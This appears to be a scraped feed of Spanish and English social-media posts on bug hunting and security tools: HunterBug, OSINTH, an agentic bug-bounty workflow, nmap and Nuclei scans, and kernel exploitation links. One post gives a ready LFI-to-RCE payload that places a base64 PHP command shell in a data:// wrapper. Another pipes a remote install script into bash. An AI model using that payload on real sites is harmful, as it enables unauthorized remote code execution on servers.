la soltamos? te leo en comentarios 🎯 HUNTERBUG 1.0 Framework de evaluación de seguridad para Bug Hunters ⚡ Una herramienta. Nueve módulos. Una visión completa de la superficie de ataque. Presentamos HunterBug 1.0, para la comunidad Hacking Team, HunterBug nace con un objetivo claro: reunir en una única interfaz las herramientas esenciales para el reconocimiento, la evaluación y la documentación de la seguridad web, reduciendo la necesidad de saltar constantemente entre múltiples utilidades. 🔎 ¿QUÉ ES HUNTERBUG? Un framework de escritorio diseñado para bug hunters, pentesters, investigadores y profesionales de la seguridad que realizan pruebas autorizadas sobre aplicaciones e infraestructuras web. Combina reconocimiento DNS, análisis de puertos, fingerprinting tecnológico, inspección HTTP/TLS, detección de vulnerabilidades, correlación con CVE y un grafo interactivo de la superficie de ataque. Todo ello con seguimiento en tiempo real y asistencia mediante inteligencia artificial. 🚀 FUNCIONALIDADES PRINCIPALES 🌐 1. Reconocimiento y descubrimiento DNS completo con 8 tipos de registros y resolutores de respaldo. Escaneo paralelo de 47 puertos TCP con captura de banners. Identificación de más de 15 tecnologías. Resolución DNS inversa. 🛡️ 2. Análisis HTTP y TLS Visualización de peticiones y respuestas HTTP en bruto. Historial de solicitudes con información de latencia. Inspección de versiones, cifrado y certificados TLS. Auditoría de cabeceras de seguridad y posibles fugas de información. 🔬 3. Detección de vulnerabilidades SQL Injection (SQLi), con firmas de errores y análisis diferencial booleano. Cross-Site Scripting (XSS) reflejado. IDOR: referencias directas a objetos potencialmente inseguras. BOLA: autorización a nivel de objeto potencialmente incorrecta. 📌 4. Correlación con CVE Base local de 34 CVE, incluidos 24 clasificados como críticos según los datos del proyecto. Comparación de versiones de software. Consulta de información actualizada de la NVD cuando hay conectividad disponible. 🧠 5. Grafo de superficie de ataque e IA Visualización de activos y relaciones en tiempo real. Grafo interactivo con 11 tipos de nodos. Distribución visual mediante algoritmo de fuerzas. Análisis con Ollama o motor de reglas local. Propuestas de posibles cadenas de ataque y siguientes pasos de investigación. 📊 6. Resultados e informes Siete pestañas organizadas por categorías. Ventanas independientes para los módulos. Hallazgos visibles a medida que se generan. Exportación de informes en Markdown y JSON. 📈 HUNTERBUG EN CIFRAS 🔹 9 módulos de análisis 🔹 7 pestañas de resultados 🔹 34 CVE en la base local 🔹 47 puertos TCP en el reconocimiento 🔹 131 pruebas superadas, según el proyecto 🔹 Sin dependencias externas de Python, según el diseño declarado 💡 ¿QUÉ LA HACE DIFERENTE? ✅ Todo en una sola interfaz. Reconocimiento, análisis, evidencias y resultados sin tener que cambiar continuamente de herramienta. ✅ Validación en laboratorio. Incluye un entorno deliberadamente vulnerable para comprobar los detectores y contrastar sus resultados con versiones corregidas. ✅ Modo pasivo por defecto. Las pruebas activas requieren habilitación explícita y autorización para el objetivo. ✅ Asistencia inteligente. Si Ollama no está disponible, un motor de reglas determinista puede analizar el grafo y ofrecer una conclusión alternativa. ✅ Orientada a la evidencia. El objetivo no es acumular alertas, sino documentar resultados y facilitar su revisión. 👨‍💻 ¿A QUIÉN VA DIRIGIDA? 🎯 Bug Hunters: reconocimiento inicial y documentación de objetivos dentro de un alcance autorizado. 🔐 Pentesters: identificación de posibles puntos débiles y recopilación de evidencias reproducibles. 🏢 AppSec / DevSecOps: revisión periódica de cabeceras, TLS, puertos y tecnologías propias. 🧪 Estudiantes y CTF: aprendizaje práctico con un laboratorio vulnerable incluido. 🔧 FILOSOFÍA DEL PROYECTO HunterBug no pretende ser simplemente un lanzador de exploits. Su propósito es descubrir, analizar, correlacionar, documentar y priorizar. La automatización ayuda a orientar la investigación, pero cada hallazgo debe interpretarse según su evidencia y validarse en el contexto de la aplicación. 📄 Documentación: README.md, incluido en el proyecto. 👨‍💻 Desarrollador: J. A. 🚀 Proyecto: HunterBug 1.0 — Framework de evaluación de seguridad para Bug Hunters La seguridad empieza con el reconocimiento. La diferencia está en cómo interpretas la evidencia. #HunterBug #HackingTeam #BugBounty #CyberSecurity #EthicalHacking #Pentesting #AppSec #DevSecOps #SQLi #XSS #IDOR #BOLA #CVE #Ollama #OpenSource

🔥 LFI a RCE a través de PHP Wrapper (¡no se necesita archivo de registro!) ⚡️ LFI ¿Tienes suerte con el envenenamiento de troncos u otros trucos? Pruebe este excelente método con contenedores PHP: Ejemplo de parámetro vulnerable: página=../../../../etc/contraseña Ahora crea tu shell PHP con codificación base64: echo '' | base64 Obtienes el resultado: PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo= Codificación URL: PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D Carga útil final (con contenedor data://): página=datos://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id ¡BOOM! Ejecución Remota de Código. 💥 También tengo un método salvaje para pasar de LFI a RCE usando la página phpinfo() filtrada. ¿Qué LFI convertiste a RCE con el contenedor data:// que dio shell y se convirtió en recompensa? Comenta tu experiencia

🚀 OSINTH — Gran actualización: resultados más claros y más precisos Revisamos la plataforma módulo por módulo, probando con datos reales, para que cada resultado sea más fácil de leer, más preciso y más útil para investigar. ✅ YA DISPONIBLE 📞 Phone OSINT • Análisis por lote (hasta 200 números) con relaciones entre ellos • Informe de una página por número, con fuente y confianza de cada dato • Reputación comunitaria real: reportes, veredicto y categoría • Centro de fuentes: qué claves tienes y qué desbloquea cada una 📧 Email · 🧭 IP Verdict · 🕵️ Fraud · 🎣 Phishing • Nuevo veredicto: puntaje, frase clara y "qué hacer ahora" • Estado de cada fuente a la vista (respondió / sin clave / no disponible) 🖼️ Image Intelligence — GPS visible y resumen de qué aporta la imagen 🔍 OSINT Scanner — veredicto completo con fuentes consultadas 🌑 Dark Web — detección de infostealers y resultados más relevantes 🌍 Geo Map — guía para interpretar el mapa 📝 Text Forensics — rasgos de fraude y datos extraídos con botones para investigarlos 📡 PCAP Analysis — IPv6, DNS preciso, beaconing, credenciales enmascaradas 🕐 Timeline · 📊 Analytics · 📡 Live Monitor — más eventos visibles y fecha de actualización ⚔️ Attack Chain · 🕸️ Threat Graph · 🧭 Pivot Graph — MITRE basado en evidencia 🤖 AI Investigator — tabla de evidencia verificada 🔗 IOC Correlation · 📁 Cases — tipos y recurrencia más precisos 🔜 PRÓXIMAMENTE (en pruebas) 🏢 Assets · 📡 Feeds · 🎯 Campaigns 🔔 Detection Rules y ▶️ Playbooks — se aplican automáticamente a tus escaneos 🔌 SIEM · 📚 Intel Datasets 🧪 Todo verificado con pruebas automáticas y datos reales. github.com/kdea1/Aldakaer--o…

¿CÓMO ENCONTRAMOS LOS SERVICIOS PHP VULNERABLES??!!?!! ¿en serio? nmap -sV --reason -A -vvv -p80,443,8080,8000,8443 --script http-headers,http-server-header,http-generator 10.0.1.1/24 busca X-Powered-By: PHP/version esto no es difícil, chicos.

Bug Bounty Methodology with OpenCode CLI – Step by Step 1. Install OpenCode curl -fsSL raw.githubusercontent.com/an… | bash 2. Clone the Bug Bounty Skills git clone github.com/awarexone/Agentic… cd Agentic-Bug-Hunter ./install_tools.sh ./install.sh --opencode 3. Start OpenCode and Check Skills Run opencode then type: do you have bug bounty skills? 4. Core Workflow • Scope (never go out of bounds) • Recon • Hunt • Validate • Report 5. Run Recon recon target.com/ (It handles subdomains, live hosts, crawling, and nuclei) 6. Hunt for Bugs It covers IDOR, Auth Bypass, XSS, SSRF, Business Logic, SQLi, File Upload, GraphQL, and more. 7. Autopilot Mode (Optional) autopilot target.com/ --normal 8. Generate Reports After validating a finding, type report to get a clean, professional report with CVSS, PoC, and impact. Repo: github.com/awarexone/Agentic…

Buena está

Detecta sitios web y direcciones IP impulsados por PHP utilizando la plantilla actualizada de detección de PHP para Nuclei github.com/projectdiscovery/…

Cuidado con esto

🧪 Lección 2 · Instala VirtualBox 💻 KAI.EXE #2 — Tu laboratorio empieza aquí En esta lección vamos a instalar VirtualBox paso a paso y preparar el entorno donde construiremos nuestro propio laboratorio. 🔹 ¿Qué vas a aprender? 📥 Descargar e instalar VirtualBox correctamente. 🧠 Entender qué son host, guest e hipervisor. ⚙️ Resolver el conflicto más común con Hyper-V. 🚀 Dejarlo todo listo para crear tu propio laboratorio virtual. Cada paso te acerca más a tener tu propio entorno de pruebas. ¡Vamos al lío! 🔥 🎬 Mira la lección aquí: 👉 youtu.be/dQ32skf4HCo KAI.EXE | Aprende. Experimenta. Construye. 🐉

Introduction to Linux Kernel Exploitation: Vulnerability and Environment – Part 1 allelesecurity.com/intro-lin… Introduction to Linux Kernel Exploitation: Triggering the Vulnerability – Part 2 allelesecurity.com/intro-lin… Introduction to Linux Kernel Exploitation: Exploitation – Part 3 allelesecurity.com/intro-lin… Introduction to Linux Kernel Exploitation: Mitigation Bypass (KASLR and SMEP) – Part 4 allelesecurity.com/intro-lin…